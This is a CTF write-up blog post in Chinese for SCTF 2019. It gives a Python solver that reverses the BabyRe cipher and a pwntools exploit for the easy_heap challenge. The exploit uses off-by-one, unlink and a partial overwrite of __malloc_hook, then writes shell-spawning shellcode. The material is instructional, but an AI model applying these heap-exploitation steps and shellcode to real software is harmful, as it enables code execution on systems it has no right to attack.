sctf2019

Author Avatar
Xzhah 6月 30, 2019
  • 在其它设备中阅读本文章

[TOC]

BabyRe

三层,第一层是迷宫,第二层是base64解码,最后一层第1组与2,3,4组的运算结果异或得到密文比较。那么,密文最后一组和前面三组运算结果异或就能推出最开始四组也就是flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from __future__ import print_function # PEP 3105
#res>>2^res<<8^res<<0xc
# max bits > 0 == width of the value in bits (e.g., int_16 -> 16)
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits % max_bits) & (2 ** max_bits - 1) | \
((val & (2 ** max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
a1=[0xD6,0x90,0x0E9,0x0FE,0x0CC,0x0E1,0x3D,0x0B7,0x16,0x0B6,0x14,0x0C2,0x28,0x0FB,0x2C,0x5,0x2B,0x67,0x9A,0x76,0x2A,0x0BE,0x4,0x0C3,0x0AA,0x44,0x13,0x26,0x49,0x86,0x6,0x99,0x9C,0x42,0x50,0x0F4,0x91,0x0EF,0x98,0x7A,0x33,0x54,0x0B,0x43,0x0ED,0x0CF,0x0AC,0x62,0x0E4,0x0B3,0x1C,0x0A9,0x0C9,0x8,0x0E8,0x95,0x80,0x0DF,0x94,0x0FA,0x75,0x8F,0x3F,0x0A6,0x47,0x7,0x0A7,0x0FC,0x0F3,0x73,0x17,0x0BA,0x83,0x59,0x3C,0x19,0x0E6,0x85,0x4F,0x0A8,0x68,0x6B,0x81,0x0B2,0x71,0x64,0x0DA,0x8B,0x0F8,0x0EB,0x0F,0x4B,0x70,0x56,0x9D,0x35,0x1E,0x24,0x0E,0x5E,0x63,0x58,0x0D1,0x0A2,0x25,0x22,0x7C,0x3B,0x1,0x21,0x78,0x87,0x0D4,0,0x46,0x57,0x9F,0x0D3,0x27,0x52,0x4C,0x36,0x2,0x0E7,0x0A0,0x0C4,0x0C8,0x9E,0x0EA,0x0BF,0x8A,0x0D2,0x40,0x0C7,0x38,0x0B5,0x0A3,0x0F7,0x0F2,0x0CE,0x0F9,0x61,0x15,0x0A1,0x0E0,0x0AE,0x5D,0x0A4,0x9B,0x34,0x1A,0x55,0x0AD,0x93,0x32,0x30,0x0F5,0x8C,0x0B1,0x0E3,0x1D,0x0F6,0x0E2,0x2E,0x82,0x66,0x0CA,0x60,0x0C0,0x29,0x23,0x0AB,0x0D,0x53,0x4E,0x6F,0x0D5,0x0DB,0x37,0x45,0x0DE,0x0FD,0x8E,0x2F,0x3,0x0FF,0x6A,0x72,0x6D,0x6C,0x5B,0x51,0x8D,0x1B,0x0AF,0x92,0x0BB,0x0DD,0x0BC,0x7F,0x11,0x0D9,0x5C,0x41,0x1F,0x10,0x5A,0x0D8,0x0A,0x0C1,0x31,0x88,0x0A5,0x0CD,0x7B,0x0BD,0x2D,0x74,0x0D0,0x12,0x0B8,0x0E5,0x0B4,0x0B0,0x89,0x69,0x97,0x4A,0x0C,0x96,0x77,0x7E,0x65,0x0B9,0x0F1,0x9,0x0C5,0x6E,0x0C6,0x84,0x18,0x0F0,0x7D,0x0EC,0x3A,0x0DC,0x4D,0x20,0x79,0x0EE,0x5F,0x3E,0x0D7,0x0CB,0x39,0x48,0x0C6,0x0BA,0x0B1,0x0A3,0x50,0x33,0x0AA,0x56,0x97,0x91,0x7D,0x67,0x0DC,0x22,0x70,0x0B2,0x0,0x7F,0x7F,0x0A3,0x0F6,0x0BD,0x7C,0x65,0x90,0x1C,0x80,0x0E3,0x0E3,0x9,0x0FE,0x7F5F,0x94,0x1B,0x0C0,0x0B0,0x5535,0x36,0x37,0x38,0x31,0x32,0x33,0x34,0x65,0x66,0x67,0x68,0x61,0x62,0x63,0x64,0x0E5,0x0E3,0x9,0x0FE,0x7F0D9,0x92,0x1B,0x0C0,0x0B0,0x557F,0x7F,0x40,0x0E5,0x0E3,0x9,0x0FE,0x7F7F,0x7F,0x4,0x64,0x63,0x62,0x61,0x68,0x67,0x66,0x65,0x34,0x33,0x32,0x31,0x38,0x37,0x36,0x35,0x0BE,0x4,0x6,0x80,0x0C5,0x0AF,0x76,0x47,0x9F,0x0CC,0x40,0x1F,0x0D8,0x0BF,0x92,0x0EF,0x80]
def xor2(key):
new_val=a1[key>>24] << 0x18 | a1[0xff&(key>>16)] << 0x10 | a1[0xff&(key>>8)] << 0x8 | a1[0xff&key]
# print (hex(new_val))
return rol(new_val, 8, 32)^ror(new_val,2,32)^rol(new_val, 0xc, 32)^ror(new_val,6,32)
def xor1(a,b,c,d):
tp=xor2(b^c^d)
#print (hex(tp))
return hex(tp^a)[2:-1]
def decry1(a,b,c,d):
f1=a^xor2(b^c^d)
return f1
value=0x635e0e24
newval = rol(value, 8, 32)^ror(value,2,32)^rol(value, 0xc, 32)^ror(value,6,32)
print("0x%08x >> 0x%02x --> 0x%08x" % (value, 8, newval))
#print (hex(a[0x64]<<0x18|a[0x63]<<0x10|a[0x62]<<0x8|a[0x61]))
flag='dcbahgfe43218765'
msg=[flag[0:4].encode('hex'),flag[4:8].encode('hex'),flag[8:12].encode('hex'),flag[12:16].encode('hex')]
for i in range(26):
msg.append(xor1(int(msg[i],16),int(msg[i+1],16),int(msg[i+2],16),int(msg[i+3],16)))
#print (msg)
#msg[26]==0xbe040680
#msg[27]==0xc5af7647
#msg[28]==0x9fcc401f
#msg[29]==0xd8bf92ef
flag=[0xd8bf92ef,0x9fcc401f,0xc5af7647,0xbe040680]
for i in range(26):
flag.append(decry1(flag[i],flag[i+1],flag[i+2],flag[i+3]))
print (flag)

easy_heap

没有泄露libc的地方,所以要靠shellcode。官方的预期解似乎是最后要最终进⾏⼀个经典的⽂件结构体伪造 ,抽时间要看看。(由于给的libc是2.23版本,该版本是没有对IO_File结构体的vtable进⾏检查的,所以这个可以通过篡改 unsorted bin的bk指针⾄ IO_list_all-0x10处,导致_IO_list_all被篡改,最终进⾏⼀个经典的⽂件结构体伪 造,vtable即指向我们可控的程序段,⾥⾯则写上mmap段地址,当出现堆错误打印信息时,即可触发 )

然而其实__malloc_hook离main_arena很近,所以把main_arena+88的低地址改为\x10就可以对 malloc_hook进行写入了。(注意,amd64和i386的shellcode不一样,默认的是i386的。64位的需要自己设置)

就是off by one过后unlink,然后bss段任意写,把某bss段free到unsorted bin过后就能获得main_arena+88然后低地址覆盖\x10。就变成了malloc_hook,然后对malloc_hook进行写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process("./easy_heap",env={"LD_PRELOAD":"~/Desktop/libc.so.6"})
libc=ELF('./libc.so.6')
print hex(libc.symbols['__malloc_hook'])
print hex(libc.symbols['__free_hook'])
def creat(size):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Address ')
addr=p.recvn(14)
return addr
def delete(index):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
def fill(index,content):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.sendline(content)
def exit():
p.recvuntil('>> ')
p.sendline('4')
#gdb.attach(p)
p.recvuntil('Mmap: ')
mmap_addr=int(p.recvn(12)[2:],16)
print hex(mmap_addr)
bbs_addr=creat(0x38)
base_addr=int(bbs_addr[2:],16)-0x202068
print hex(int(bbs_addr[2:],16)-0x202068)
creat(0xf0)
creat(0x38)
#creat(0x28)
#fake_chunk=[0,0x31,base_addr+0x202078-0x18,base_addr+0x202078-0x10]
unlink=p64(0)+p64(0x31)+p64(base_addr+0x202068-0x18)+p64(base_addr+0x202068-0x10)+'a'*16+p64(0x30)
fill(0,unlink)
delete(1)
fill(0,p64(0x38)*2+p64(0x100)+p64(base_addr+0x202070)+p64(0x140)+p64(mmap_addr))
fill(1,asm(shellcraft.sh()))
fill(0,p64(0x140)+p64(base_addr+0x202080))
fill(1,p64(0x20)+p64(0x91)+'a'*0x10*8+p64(0x90)+p64(0x21)*5)
fill(0,p64(0x140)+p64(base_addr+0x202090))
delete(1)
#gdb.attach(p)
fill(0,p64(0x140)+p64(base_addr+0x202090)+2*p64(0))
fill(1,p64(0x140)+'\x10')
fill(3,p64(mmap_addr))
#gdb.attach(p)
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Size: ')
p.sendline('32')
p.interactive()